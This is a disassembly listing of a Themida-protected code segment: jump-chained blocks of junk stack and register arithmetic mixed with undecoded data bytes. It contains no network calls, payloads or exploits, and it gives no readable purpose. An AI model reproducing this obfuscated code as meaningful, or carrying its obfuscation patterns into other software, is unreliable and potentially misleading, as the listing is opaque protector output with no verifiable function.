		dd 0F19E953h, 2D580001h, 341056B7h, 0B705D801h,	8B341056h
		dd 0E7E9241Ch, 8B00012Dh, 2EE92424h, 0C1000023h, 0EA8102E2h
		dd 7F3832F6h, 78A8E9h, 29A86800h, 3C890000h, 38BF6824h
		dd 14890000h, 0D633E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_550ACE:				; CODE XREF: Themida_:0055775Aj
		mov	ebp, [esp]
		jmp	loc_555780
; ---------------------------------------------------------------------------


loc_550AD6:				; CODE XREF: Themida_:0054FA9Bj
		sub	ecx, ebp
		pop	ebp
		add	ecx, 0C7008CBFh
		inc	ecx
		sub	ecx, 0EFE9FF54h
		push	esi
		mov	esi, 33BA704Eh
		sub	eax, esi
		jmp	loc_54FEF7
; ---------------------------------------------------------------------------
		db 5Dh
		dd 5C240487h, 68240C89h, 2, 83240C8Bh, 0CD0104C4h, 83240C8Bh
		dd 0E7E904C4h, 330000BAh, 0F0E9242Ch, 5FFFFFF9h, 8704E883h
		dd 0E95C2404h, 10368h, 240C8B66h, 110E2E9h, 12E95C00h
		db 2Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_550B37:				; CODE XREF: Themida_:005565D8j
		mov	esp, [esp]
		jmp	loc_564221
; ---------------------------------------------------------------------------
		db 28h
		dd 2434FFC8h, 62B6E9h, 24148900h, 0EAABE9h, 0E9C60100h
		dd 1424Bh, 33241431h, 248B2414h, 83526624h, 0C8904ECh
		dd 0E95FB524h, 0FEE0h
; ---------------------------------------------------------------------------


loc_550B70:				; CODE XREF: Themida_:005618A0j
		pop	eax
		xchg	edx, [esp]
		mov	esp, [esp]
		mov	[esp], edi
		jmp	loc_5568D3
; ---------------------------------------------------------------------------
		db 57h
		dd 4BFh, 0E9F80100h, 0FFFFFF8Fh, 89243489h, 3336E9E6h
		dd 3C870000h, 24248B24h, 68C8B70Fh, 0F05h, 68241489h, 80Bh
		dd 0C92EE9h
		db 0
; ---------------------------------------------------------------------------


loc_550BB1:				; CODE XREF: Themida_:00564C34j
		add	ecx, ebp
		pop	ebp
		push	ecx
		add	dword ptr [esp], 10EC7CC2h
		pop	edx
		sub	edx, 10EC7CC2h
		push	dword ptr [esp]
		pop	ecx
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		jmp	loc_5573BD
; ---------------------------------------------------------------------------
		db 81h,	0E3h, 0BEh
		dd 0E952E040h, 0C61Dh, 57C5C381h, 59593EB7h, 2414F753h
		dd 0C381435Bh, 32BCFC45h, 0E794E9h, 41685C00h, 0E900000Fh
		dd 13A92h
; ---------------------------------------------------------------------------


loc_550C18:				; CODE XREF: Themida_:0055B324j
		pop	edi
		add	ebx, edx
		sub	ebx, 3AEB2455h
		pop	edx
		push	ebp
		push	eax
		push	ecx
		push	2D6A001Fh
		pop	ecx
		mov	eax, 9A8869E6h
		jmp	loc_55EDA5
; ---------------------------------------------------------------------------
		db 5Fh,	0E9h, 60h
		db 1Fh,	1, 0
; ---------------------------------------------------------------------------


loc_550C3B:				; CODE XREF: Themida_:005547D4j
		pop	ebp
		xchg	edx, [esp]
		jmp	loc_55C2CC
; ---------------------------------------------------------------------------


loc_550C44:				; CODE XREF: Themida_:005636F4j
		not	dword ptr [esp]
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		add	esp, 4
		xchg	ebx, esi
		shl	esi, 8
		inc	esi
		xor	esi, 0FDFDFD01h
		and	eax, esi
		mov	esi, [esp]
		add	esp, 4
		push	dword ptr [edi+1Ch]
		push	dword ptr [esp]
		pop	ecx
		push	4D95h
		mov	[esp], edx
		push	1E36h
		jmp	loc_55E42D
; ---------------------------------------------------------------------------
		db 5Eh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	ebx
		jmp	loc_55A591
; ---------------------------------------------------------------------------
		db 0BAh
		dd 7E82841h, 0E95AD001h, 0C312h, 6E686857h, 3C8B4C67h
		dd 0E7895724h, 4C781h, 7E90000h
		db 0AEh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_550CB7:				; CODE XREF: Themida_:0055BF25j
		xor	[esp], edx
		jmp	loc_552F70
; ---------------------------------------------------------------------------
aPsT		db 'P#t',0
		dd 0E7E95D00h, 680000D6h, 337Dh, 32C6E9h, 24248B00h, 0F66E9F6h
		dd 5451CCB6h, 81240C8Bh, 4C4h, 4C18100h, 55000000h, 1286AE9h
		dd 0D830AC00h, 10D3DE9h
		db 0
; ---------------------------------------------------------------------------


loc_550CFD:				; CODE XREF: Themida_:0056100Ej
		sub	edx, 14A93993h
		neg	edx
		dec	edx
		add	edx, 26BA2313h
		jmp	loc_563636
; ---------------------------------------------------------------------------


loc_550D11:				; CODE XREF: Themida_:005625F1j
		sub	dword ptr [esp+4], 19AD63CDh
		pop	ecx
		mov	eax, [esp]
		push	edx
		mov	edx, esp
		jmp	loc_556303
; ---------------------------------------------------------------------------
		db 91h,	53h, 0E9h
		dd 11997h, 8059EE28h, 0E953E2C6h, 0CC98h
; ---------------------------------------------------------------------------


loc_550D38:				; CODE XREF: Themida_:0056184Fj
		pop	ebp
		add	ebp, 4
		jmp	loc_55473E
; ---------------------------------------------------------------------------


loc_550D44:				; CODE XREF: Themida_:005612E6j
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 0B631DA7Eh
		jmp	loc_556749
; ---------------------------------------------------------------------------


loc_550D54:				; CODE XREF: Themida_:00559810j
		sub	ebp, esi
		pop	esi
		jmp	loc_552EB4
; ---------------------------------------------------------------------------
aTxsX		db 'TX',0
		db 0
; ---------------------------------------------------------------------------


loc_550D63:				; CODE XREF: Themida_:00553287j
		mov	[esp], eax
		push	ebx
		mov	bl, 61h
		push	28EDh
		mov	[esp], ecx
		mov	ch, bl
		mov	ah, ch
		jmp	loc_5534E4
; ---------------------------------------------------------------------------
		dw 0E981h
		dd 2, 5C240C87h, 24148966h, 2474FF66h, 148B6602h, 4EC8324h
		dd 89240C89h, 0E786E9E1h, 0F6800000h, 0E9F12882h, 4434h
; ---------------------------------------------------------------------------


loc_550DA8:				; CODE XREF: Themida_:005637BBj
		shl	edx, 2
		xor	edx, 795B5574h
		jmp	loc_554A18
; ---------------------------------------------------------------------------
		dw 10B9h
		dd 81571456h, 404081E1h, 0EBC98151h, 0F764236Ah, 5F6DE9D1h
		dd 0DFF70000h, 7C77EF81h, 0F9893F5Dh, 0E9243C8Bh, 0C98Eh
		dd 0B678E95Bh, 1C330000h, 241C3124h, 8B241C33h,	0B8E92424h
		dd 5D000073h, 0F4FAE9h,	241C8900h, 2B81E9h
		db 0
; ---------------------------------------------------------------------------


loc_550E05:				; CODE XREF: Themida_:0055BDCCj
		add	eax, 4
		sub	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		mov	[esp], esi
		mov	esi, 4
		push	ecx
		mov	ecx, 7CA234A6h
		or	ecx, 4F7F20A6h
		xor	ecx, 55857C5Dh
		not	ecx
		xor	ecx, 0D1BFEBC2h
		jmp	loc_5544C9
; ---------------------------------------------------------------------------
		dw 0DA01h
		dd 5B2434FFh, 4C481h, 14330000h, 0E9FAE924h, 0DBF70000h
		dd 0E31BF381h, 0DF3190F3h, 5FFB015Bh, 3A49C381h, 0CB013C6Eh
		dd 3A49EB81h, 0EB813C6Eh, 25BA14C1h, 81240C8Bh,	4C4h, 21F0E900h
		dd 0C5810001h, 4, 13E2EE9h, 0E9D63100h,	0FFFFF81Ah, 2474FF53h
		dd 0A0E95B04h, 0C1000010h, 0C38102E3h, 0EE303C9h, 2D26E9h
		dd 4BA5200h, 1000000h, 24148BD7h, 13312E9h
		db 0
; ---------------------------------------------------------------------------


loc_550EC1:				; CODE XREF: Themida_:00558C56j
		xor	esi, eax
		jmp	loc_55079E
; ---------------------------------------------------------------------------


loc_550EC8:				; CODE XREF: Themida_:00556C11j
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		jmp	loc_54FD0F
; ---------------------------------------------------------------------------
a1sSt		db '1]',0
		dw 8700h
aSdm		db '<$餌',0
		db 0
; ---------------------------------------------------------------------------


loc_550EEB:				; CODE XREF: Themida_:005562ABj
		sub	esi, 12B081E4h
		jmp	loc_55189F
; ---------------------------------------------------------------------------
aQ4s		db ',Q=4',0Ah
		db '=',0
		align 10h
		dd 2414875Fh, 1092BE9h
		db 0
; ---------------------------------------------------------------------------


loc_550F09:				; CODE XREF: Themida_:0055E5ACj
		pop	ebx
		jmp	loc_551067
; ---------------------------------------------------------------------------
		db 66h
		dd 5024048Bh, 429368h, 11B7E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_550F1E:				; CODE XREF: Themida_:00554834j
		add	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		jmp	loc_56262A
; ---------------------------------------------------------------------------
		db 8Fh,	4, 24h
		dd 0FF24248Bh, 0E99C240Ch, 0FFFFE8D6h, 8B24048Fh, 34FF2424h
		dd 2434FF24h, 11D62E9h,	242C8B00h, 8104C483h, 4EAh, 24148700h
		dd 240C895Ch, 1B768h, 241C8900h, 4EC8352h, 13D2EE9h, 0E5B25200h
		dd 0F280C2FEh, 0B6B551B0h, 0DECE9h, 0B8505D00h,	62B258B1h
		dd 8244401h, 24440158h,	246C8104h, 0B258B104h, 24048B62h
		dd 4C481h, 3C8B0000h, 3EB4E924h, 0D0F70001h, 0C6814E96h
		dd 3C5233B5h, 0ED5BB53h, 0DE0965C6h, 8FB6E9h, 38036800h
		dd 54E90000h, 0BD000042h, 5E535F92h, 8C96E9h, 81D10100h
		dd 510ADFE9h, 0C1815A15h, 4, 8904EC83h,	74FF240Ch, 84E90424h
		db 0EFh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_550FF7:				; CODE XREF: Themida_:0055CAF2j
		pop	esi
		xchg	edi, [esp]
		pop	esp
		shr	ecx, 7
		push	6946h
		mov	[esp], ebx
		jmp	loc_55F9BC
; ---------------------------------------------------------------------------
		dd 1BB5358h, 154B20Fh, 0BB535BD8h, 1EF10130h, 10AF9E9h
		dd 24248B00h, 1129DE9h,	2FEB8100h, 0E97B6D15h, 13E55h
		dd 0B9240C89h, 4EF91412h, 5059CF29h, 0CF3D50B8h, 62EF814Bh
		dd 0E9118466h, 12CA3h, 3124248Bh, 0E99C2404h, 0FFFFE7BAh
; ---------------------------------------------------------------------------


loc_55105C:				; CODE XREF: Themida_:0055E831j
		add	esp, 4
		jmp	loc_55143D
; ---------------------------------------------------------------------------


loc_551067:				; CODE XREF: Themida_:00550F0Aj
		or	ch, 0E7h
		jmp	loc_560F21
; ---------------------------------------------------------------------------


loc_55106F:				; CODE XREF: Themida_:005609C3j
		push	ecx
		pop	edx
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_5536FE
; ---------------------------------------------------------------------------


loc_55107A:				; CODE XREF: Themida_:00558905j
		pop	esi
		push	ebp
		mov	ebp, 324A1725h
		push	edx
		push	ebx
		jmp	loc_56488C
; ---------------------------------------------------------------------------
		dd 5024148Bh, 0D6E9E089h, 870000B3h, 248B2404h,	24348924h
		dd 6B2C68h, 24248900h, 4BB53h, 0BD550000h, 4D754402h, 8246C01h
		dd 5238E95Dh, 34B20000h, 148BD000h, 4C48324h, 0E8B35351h
		dd 0A66DE9h
		db 0
; ---------------------------------------------------------------------------


loc_5510CD:				; CODE XREF: Themida_:0055D181j
		add	ebx, eax
		pop	eax
		add	ebx, 4
		push	ebx
		push	dword ptr [esp+4]
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_561C30
; ---------------------------------------------------------------------------
		dw 0D0F7h
		dd 8C3B390Dh, 5E8C143h,	1365DE9h, 0D8F74800h, 2507E0C1h
		dd 65E77922h, 9400E9h, 81C50100h, 0B0148BEDh, 3119683Ah
		dd 34890000h, 151BE24h,	0DEF74836h, 1EA2EE81h, 0DEF7686Dh
		dd 0E6D1D6F7h, 62FFBB53h, 0E3816676h, 36A2C2Eh,	5FA9F381h
		dd 0C3817F03h, 2244431h, 60DCEB81h, 0DE29183Dh,	5EF5015Bh
		dd 86C4E9h, 241C8900h, 3F81E954h, 0E7890000h, 4C781h, 0C7830000h
		dd 243C8704h, 8BEB295Ch, 70E9242Ch
		db 72h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_551173:				; CODE XREF: Themida_:00557A12j
		add	ecx, esi
		pop	esi
		push	edi
		jmp	loc_558888
; ---------------------------------------------------------------------------
		dd 6D91C681h, 0F1290B38h, 0BB53555Eh, 275F2D7Fh, 295BDD89h
		dd 515D5DE9h, 42474FFh,	24048F59h, 0F5DE9h, 240CFF00h
		dd 69E18159h, 520CD03Fh, 175682BAh, 2EAC13Bh, 7A16F281h
		dd 0F75257BCh, 0E95A241Ch, 0E01Dh, 33241431h, 248B2414h
		dd 1834E924h, 0EA800000h, 0B151664Ch, 853DE9C9h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5511DE:				; CODE XREF: Themida_:00555C22j
		add	edi, 6E5B2581h
		jmp	loc_55D69C
; ---------------------------------------------------------------------------
		db 68h,	0A3h, 23h
		dd 0E6E9403Eh
		db 1Ch,	1, 0
; ---------------------------------------------------------------------------


loc_5511F3:				; CODE XREF: Themida_:0055A49Dj
		mov	[esp], edx
		jmp	loc_55EBB2
; ---------------------------------------------------------------------------


loc_5511FB:				; CODE XREF: Themida_:005538EBj
		add	ebp, 4
		jmp	loc_5536E1
; ---------------------------------------------------------------------------


loc_551206:				; CODE XREF: Themida_:005513E3j
		shl	edi, 8
		push	edx
		mov	edx, esp
		add	edx, 4
		push	eax
		mov	eax, 4
		sub	edx, eax
		jmp	loc_5526D3
; ---------------------------------------------------------------------------
		db 81h
		dd 0B87B9AEFh, 81D7017Fh, 0B87B9AC7h, 54575A7Fh, 4C7815Fh
		dd 81000000h, 4EFh, 243C8700h, 2414895Ch, 620DE9h, 4C38100h
		dd 81000000h, 4C3h, 241C8700h, 25E1E9h,	38B800h, 0C3890000h
		dd 6D18E958h, 1EBB0000h, 150C3ACh, 9707E9D3h, 5BBB0000h
		dd 5143AD6Eh, 975E24B9h, 59CB2966h, 0C381C329h,	66975E24h
		dd 8977E9h, 4EC8300h, 0E9241489h, 11864h, 0F581D5F7h, 5BAF2B56h
		dd 7E9DDF7h, 530000C4h,	0E1E907B7h, 5D0000B9h, 81241C8Bh
		dd 4C4h, 5A146800h, 14890000h, 17CBA24h, 0D7E9680Bh
		db 64h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5512CF:				; CODE XREF: Themida_:0056066Bj
		xchg	edx, [esp]
		jmp	loc_555A0D
; ---------------------------------------------------------------------------


loc_5512D7:				; CODE XREF: Themida_:0055E6A5j
		sub	eax, 39AB6BABh
		jmp	loc_55FD39
; ---------------------------------------------------------------------------


loc_5512E1:				; CODE XREF: Themida_:00554403j
		push	ebp
		add	dword ptr [esp], 38385727h
		mov	ebx, [esp]
		add	esp, 4
		sub	ebx, 38385727h
		pop	ebp
		sub	ebp, ebx
		mov	ebx, [esp]
		add	esp, 4
		push	ebp
		push	dword ptr [esp+4]
		jmp	loc_55E82E
; ---------------------------------------------------------------------------
		db 68h
		dd 7167h, 83242489h, 5F042404h,	0B026E953h, 0B4500000h
		dd 0DD7E921h, 0C2830001h, 24148704h, 74FF515Ch,	0E9590424h
		dd 0B728h, 62774BDh, 0AEF5817Dh, 81408D51h, 8B76DEF5h
		dd 52A9E93Dh, 2C890000h, 58A8E924h, 0C1810000h,	21D62B3Eh
		dd 79BFE9h, 66922C00h, 81241C8Bh, 2C4h,	3FB35300h, 0F6E9B151h
		dd 80C9FED9h, 0E9C090E1h, 80C9FE02h, 0C8002DF1h, 0B1ACE9h
		dd 58C28900h, 5B5AD029h, 5653B951h, 0F1817387h,	717E0DD3h
		dd 49DBE981h, 0C801FFD0h, 0F69BE959h, 14890000h, 1917BA24h
		dd 0E2C16099h, 16EA8106h, 31153AD5h, 24148BD7h,	0E904C483h
		dd 19F1h, 573C77FFh, 0AE1602BFh, 0FEE94700h, 8100003Bh
		dd 0C037F7E9h, 0F678E95Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5513E2:				; CODE XREF: Themida_:0056434Aj
		inc	edi
		jmp	loc_551206
; ---------------------------------------------------------------------------


loc_5513E8:				; CODE XREF: Themida_:00553005j
		mov	cl, 4Ah
		shl	cl, 7
		push	edx
		jmp	loc_55C399
; ---------------------------------------------------------------------------
		db 66h
		dd 0E9240489h, 0FFFFE41Ah, 8124048Bh, 4C4h, 5FF90100h
		dd 4EC8153h, 0E9000000h, 3623h,	53242C89h, 0AA688468h
		dd 64DEE96Dh, 8B660000h, 8151240Ch, 4ECh, 1B7BE900h, 68500001h
		dd 3D2Fh, 9DFE9h
		db 0
; ---------------------------------------------------------------------------


loc_55143D:				; CODE XREF: Themida_:00551062j
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], dx
		jmp	loc_564AC1
; ---------------------------------------------------------------------------
		dd 4C481h, 0EFE90000h, 87FFFFEFh, 895C2414h, 3C8B2404h
		dd 4C48324h, 34FF5751h,	0E9565924h, 4A21h, 4C4BDE05h, 240C8B09h
		dd 104C483h, 0EE8358C6h, 24343304h, 33243431h, 248B2434h
		dd 24148924h, 0FFE381E9h, 240C8BFFh, 1335CE9h, 8BDF8900h
		dd 0C483241Ch, 8BF83104h, 0C483243Ch, 618E6804h, 14890000h
		dd 0C6E3E924h, 83580000h, 0DC6804C4h, 8900003Ah, 58542404h
		dd 405h, 4EC8300h, 0BB241C89h, 31717772h, 0FFFFBD55h, 0EB29FFFFh
		dd 0B850555Dh, 5BFB054Bh, 610F6A05h, 25FC052Fh,	11E9E7B7h
		db 2Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5514F7:				; CODE XREF: Themida_:0055B7C9j
		add	ebx, esi
		jmp	loc_558B89
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 835BDD01h, 2C8704EDh, 24248B24h, 0E9240489h, 1035Ch
		dd 0E9CD0158h, 2CC4h, 4C781h, 5EE90000h, 8A000010h, 8804244Ch
		dd 5B04247Ch, 8AD9E9h
		db 0
; ---------------------------------------------------------------------------


loc_551539:				; CODE XREF: Themida_:0055434Fj
		mov	ecx, [esp]
		add	esp, 4
		mov	ebx, [esp]
		jmp	loc_55F4A5
; ---------------------------------------------------------------------------
		db 66h
		dd 0E9240C8Bh, 0EA7Ch, 0C8B60F66h, 11ECCE9h
		db 0
; ---------------------------------------------------------------------------


loc_551559:				; CODE XREF: Themida_:0055002Cj
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		mov	ch, 55h
		shr	ch, 2
		jmp	loc_5622A9
; ---------------------------------------------------------------------------


loc_551571:				; CODE XREF: Themida_:0055B5E9j
		mov	eax, 1FC1A83h
		jmp	loc_555FF5
; ---------------------------------------------------------------------------


loc_55157B:				; CODE XREF: Themida_:0055CC35j
		add	esi, 0FFFFFFFFh
		shr	esi, 5
		add	esi, 0F9B7BFA0h
		add	edi, esi
		jmp	loc_555A30
; ---------------------------------------------------------------------------


loc_55158E:				; CODE XREF: Themida_:0055BAABj
		add	ebp, 4
		add	ebp, 4
		jmp	loc_55CAF7
; ---------------------------------------------------------------------------
		dd 2B60F66h, 12826866h,	0FFFE4AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5515A9:				; CODE XREF: Themida_:00554739j
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_5567E1
; ---------------------------------------------------------------------------
		dd 6E9C2FEh, 81000016h,	0C42F71EDh, 4E5E947h, 0C2830000h
		dd 24148704h, 5F74E9h, 0F7E95900h, 0FF000122h, 34FF2434h
		dd 24048B24h, 5604C483h, 5668E689h, 89000062h, 0EEB9240Ch
		dd 81084073h, 4073EAE9h, 816AE908h, 89560000h, 4C681E6h
		dd 0E9000000h, 80h, 4EA9CB81h, 0F3814296h, 7DDC5EEFh, 9EE9DD29h
		dd 5C0000E2h, 0E92434FFh, 0FFFFF65Bh, 4161E181h, 0BE9780Ch
		dd 5900006Eh, 3304C483h, 2C31242Ch, 242C3324h, 425E685Ch
		dd 4890000h, 242C8124h,	0FCF0EACh, 6840478Fh, 3C4Dh, 0B9240C89h
		dd 0FCF0EACh, 40BB53h, 0FB010000h, 0FF5B0B01h, 7FE92434h
		dd 33000091h, 248B240Ch, 41B16824h, 9E90000h, 0C1FFFFF5h
		dd 0E94105E9h, 7D38h, 4BA52h, 0D6010000h, 151AE95Ah, 0CF870001h
		dd 0CF87D1F7h, 0C781DFF7h, 3BB63A1Dh, 0B739EF81h, 0F8898E06h
		dd 0C4C7815Fh, 1171279h, 0C4EF81C7h, 8B171279h,	0C4812404h
		dd 4, 4EC83FDh,	4D13E9h, 0E9CA8900h, 6F6Eh, 4B951h, 0EBE90000h
		db 0B5h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_5516E3:				; CODE XREF: Themida_:00551B00j
		neg	ecx
		push	esi
		jmp	loc_55968A
; ---------------------------------------------------------------------------
		db 59h
		dd 2474FF53h, 48F5B04h,	24248B24h, 9C242CD3h, 0FFE115E9h
		dd 5AF700FFh, 4EC8158h,	89000000h, 1BB62414h, 8081EF80h
		dd 0D4E94EC7h, 0BE000073h, 37907A8Fh, 15EF101h,	8FBD55F9h
		dd 8137907Ah, 7C6BCEC1h, 823AE931h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_551736:				; CODE XREF: Themida_:00559588j
		push	edx
		jmp	loc_55422F
; ---------------------------------------------------------------------------
		dd 55FBED81h, 0E8010503h, 1BC7E9h, 40500h, 0C0830000h
		dd 74FF5004h, 0D2E90424h, 81000129h, 3EAE31EBh,	0A51E907h
		dd 0E2C10001h, 6CEA8103h, 8148369Ah, 947B8AEDh,	57D50178h
		dd 1F9FE9h, 49E95E00h
		db 0BEh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_551783:				; CODE XREF: Themida_:0055C598j
		mov	ebp, ecx
		mov	eax, ebp
		jmp	loc_56227D
; ---------------------------------------------------------------------------


loc_55178C:				; CODE XREF: Themida_:0055ABF8j
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_55CDA5
; ---------------------------------------------------------------------------
		db 54h,	59h, 81h
		dd 4C1h, 89E95500h, 8BFFFFFBh, 0E9502414h, 586Fh, 31A0ED81h
		dd 0E9898C9Fh, 5550685Dh, 0C890000h, 0ABA3E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5517CE:				; CODE XREF: Themida_:0055D03Ej
		pop	eax
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		jmp	loc_55EEAD
; ---------------------------------------------------------------------------
		dw 0CF01h
		dd 8B2434FFh, 0F1E9240Ch, 0B9000072h, 32E72931h, 0E2BB850h
		dd 0D8F76435h, 1D2FBE56h, 0F00174C1h, 10263E9h,	0C0CEFE00h
		dd 87E908E6h, 3000003Ch, 1C8B66FDh, 0A88FE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_551816:				; CODE XREF: Themida_:0055B19Bj
		add	eax, 168F68E1h
		neg	eax
		push	ecx
		mov	ecx, 0A465D417h
		add	eax, ecx
		jmp	loc_564DC3
; ---------------------------------------------------------------------------
		dw 0C281h
		dd 4, 8B241487h, 0D1E92424h, 0F70000E5h, 0EAEE81DEh, 29DD9879h
		dd 0DCE95EF7h, 100000Dh, 0F2015AD6h, 0E924348Bh, 0D9B5h
		dd 4C481h, 0EC830000h, 241C8904h, 13696E9h, 724BBF00h
		dd 0F9319ED4h, 29FBE9h,	48B6600h, 80E95524h, 5200002Ah
		dd 0C281E289h, 4, 4C281h, 14870000h, 5A685C24h,	8900003Eh
		dd 89E9240Ch
		db 36h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55189F:				; CODE XREF: Themida_:00550EF1j
		sub	ecx, esi
		pop	esi
		sub	ecx, edx
		push	0DA1h
		mov	[esp], edx
		jmp	loc_557B8C
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 4
		dd 4EC8124h, 0E9000000h, 2BF8h,	6C76685Eh, 3C890000h, 0D173E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5518CE:				; CODE XREF: Themida_:00561414j
		add	edi, 4
		push	ecx
		jmp	loc_560FE5
; ---------------------------------------------------------------------------
		dw 4BAh
		dd 1000000h, 34875AD6h,	24248B24h, 315DE831h, 1ED768C3h
		dd 4890000h, 0C2DEE924h, 535C0000h, 4C1015BBh, 3EBC152h
		dd 6E72F381h, 0C381414Eh, 413961EBh, 0C381D3F7h, 0A3477D0Ah
		dd 1C8BD929h, 0E7895724h, 4C781h, 0C7810000h, 4, 31243C33h
		dd 3C33243Ch, 82E95C24h
		db 0ECh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_55193B:				; CODE XREF: Themida_:0055F0B8j
		mov	ebp, 4
		add	edx, ebp
		pop	ebp
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_555720
; ---------------------------------------------------------------------------
		db 81h,	0F2h, 0B2h
		dd 81577B43h, 0B7EE85C2h, 5AD601BEh, 0B951CE01h, 13201AD8h
		dd 48C5C681h, 0CE292D01h, 48C5EE81h, 0C8B2D01h,	4C48324h
		dd 35BCE959h, 685E0000h, 7B79h,	0B9240C89h, 79D71225h
		dd 7FD5C181h, 0F1816364h, 0F5D00BAh, 0C918E9h
		db 0
; ---------------------------------------------------------------------------


loc_5519A1:				; CODE XREF: Themida_:005617AEj
		mov	edi, esi
		pop	esi
		xor	edi, 9E49B44Fh
		sub	ecx, edi
		pop	edi
		jmp	loc_564840
; ---------------------------------------------------------------------------
		dw 0CA80h
		dd 11D9E9CCh, 8B540001h, 0C4832434h, 0BF575204h, 4, 0B059E9h
		dd 24148700h, 6624248Bh, 9C240409h, 0FFDE39E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5519DD:				; CODE XREF: Themida_:00558AD3j
		sub	ebp, edi
		push	25CCh
		jmp	loc_563A0D
; ---------------------------------------------------------------------------
		db 0C1h, 0EDh, 3
		dd 0E3D7F581h, 92E90BB1h, 310000ACh, 4332404h, 24248B24h
		dd 0EBAEE9h
		db 0
; ---------------------------------------------------------------------------


loc_551A05:				; CODE XREF: Themida_:00553F59j
		sub	esp, 4
		jmp	loc_55327C
; ---------------------------------------------------------------------------
		db 0BEh, 2 dup(0)
		dd 89530000h, 5BDD89F3h, 0E924348Bh, 0C2B8h, 7B2DE829h
		dd 5D17FC65h, 8904EC83h, 0EFBB241Ch, 815A4735h,	586233C3h
		dd 1EEB8100h, 5525D163h, 6E1CE9h, 57515F00h, 0A27D6BFh
		dd 2028B939h, 0C181E0E1h, 44A76769h, 0E981F901h, 44A76769h
		dd 0E9CA215Fh, 0DB9Bh
; ---------------------------------------------------------------------------


loc_551A68:				; CODE XREF: Themida_:00557CAFj
		push	1D30h
		jmp	loc_550572
; ---------------------------------------------------------------------------


loc_551A72:				; CODE XREF: Themida_:0055B72Dj
		add	ebp, 15893174h
		mov	ecx, [esp]
		push	ebp
		jmp	loc_564053
; ---------------------------------------------------------------------------
		dd offset dword_55B068
		align 2
		dw 1C89h
		dd 804EB324h, 0DD888FEBh, 59EA285Bh, 206E9h
		db 0
; ---------------------------------------------------------------------------


loc_551A99:				; CODE XREF: Themida_:0055CEEAj
		sub	edx, 22E92F01h
		push	ebx
		push	esi
		mov	esi, 5EA2479h
		jmp	loc_554170
; ---------------------------------------------------------------------------
		db 8Bh
		dd 5DE92404h, 0BF0000DDh, 648B5719h, 8247C01h, 242C8B5Fh
		dd 4C481h, 815B0000h, 4C3h, 4EC8100h, 89000000h, 1CE9242Ch
		db 0Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_551ADB:				; CODE XREF: Themida_:0055C71Aj
		pop	esp
		add	esi, 4
		push	3484h
		mov	[esp], edi
		mov	edi, 2
		push	ecx
		mov	ecx, 2C8C4D3Eh
		sub	esi, ecx
		pop	ecx
		add	esi, edi
		push	ecx
		mov	ecx, 50A11411h
		jmp	loc_5516E3
; ---------------------------------------------------------------------------


loc_551B05:				; CODE XREF: Themida_:0055C5BAj
		or	esi, 736A5717h
		jmp	loc_55CC30
; ---------------------------------------------------------------------------
		dd 5C24048Fh, 815B5453h, 4C3h, 4685600h, 5E000000h, 348BF301h
		dd 4C48124h, 87000000h,	248B241Ch, 3FFF6824h, 3C890000h
		dd 3C8B5424h, 4C48124h,	81000000h, 4C7h, 720F6800h, 34890000h
		dd 4BE24h, 4DE90000h, 81000045h, 0BD6CF7C5h, 81C52975h
		dd 0BD6CF7EDh, 995DE975h, 0F0290000h, 9287E9h, 2474FF00h
		dd 2434FF04h, 8B2434FFh, 5AE92404h
		db 0C8h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_551B8B:				; CODE XREF: Themida_:00555A1Ej
		xor	edx, ebp
		pop	ebp
		add	[esp+4], edx
		push	dword ptr [esp]
		pop	edx
		push	edx
		push	esp
		jmp	loc_55C869
; ---------------------------------------------------------------------------


loc_551B9D:				; CODE XREF: Themida_:00562289j
		mov	ebp, [esp]
		add	esp, 4
		push	eax
		jmp	loc_563AD3
; ---------------------------------------------------------------------------


loc_551BAC:				; CODE XREF: Themida_:00554130j
		sub	ebx, 8B5E7CC3h
		xor	ebx, 5A015CCh
		sub	ebx, 0E3520C75h
		xor	ebp, ebx
		jmp	loc_5648FE
; ---------------------------------------------------------------------------


loc_551BC5:				; CODE XREF: Themida_:00553717j
		pop	edi
		push	ecx
		jmp	loc_5560EF
; ---------------------------------------------------------------------------


